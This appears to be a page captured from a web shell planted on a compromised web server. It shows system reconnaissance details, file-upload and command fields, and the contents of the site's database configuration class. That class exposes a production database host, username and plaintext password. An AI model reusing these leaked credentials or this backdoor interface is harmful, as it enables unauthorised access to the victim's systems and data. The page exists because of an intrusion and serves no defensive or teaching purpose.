Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/gyaniguru.org/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/gyaniguru.org/inc/DatabaseMysql.class.php
<?php
/**
 * Database Class
 */
class DatabaseMysql
{
	// Mysql DB Params
	private $Host = "arukus-db-8.ca0xxskptwru.ap-south-1.rds.amazonaws.com";
	private $User = "db_usr_gyaniguru";
	private $DataBase = "gyaniguru_org_Prod";
	private $Password = "X1w9nGBFvQurVtxMbIIXgO3p7OPEh";

	// for local 
	// private $Host = "localhost";
	// private $User = "root";
	// private $DataBase = "gyaniguru";
	// private $Password = "";

	private $conn;

	public function __construct() {
        $this->conn = mysqli_connect($this->Host, $this->User, $this->Password) or die("Unable to Connect: " . mysqli_error($this->conn));
    }

	public function connect()
	{
		try {
			mysqli_select_db($this->conn, $this->DataBase);
			mysqli_query($this->conn, "SET NAMES 'utf8'");
	        mysqli_query($this->conn, "SET CHARACTER SET utf8");
	        mysqli_query($this->conn, "SET CHARACTER_SET_CONNECTION=utf8");
	        mysqli_query($this->conn, "SET SQL_MODE = ''");

		} catch (Exception $e) {
			echo trigger_error("Could not connect to the database", E_USER_ERROR);			
		}

		return $this->conn;
	}

	public function close() {
        mysqli_close($this->conn);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit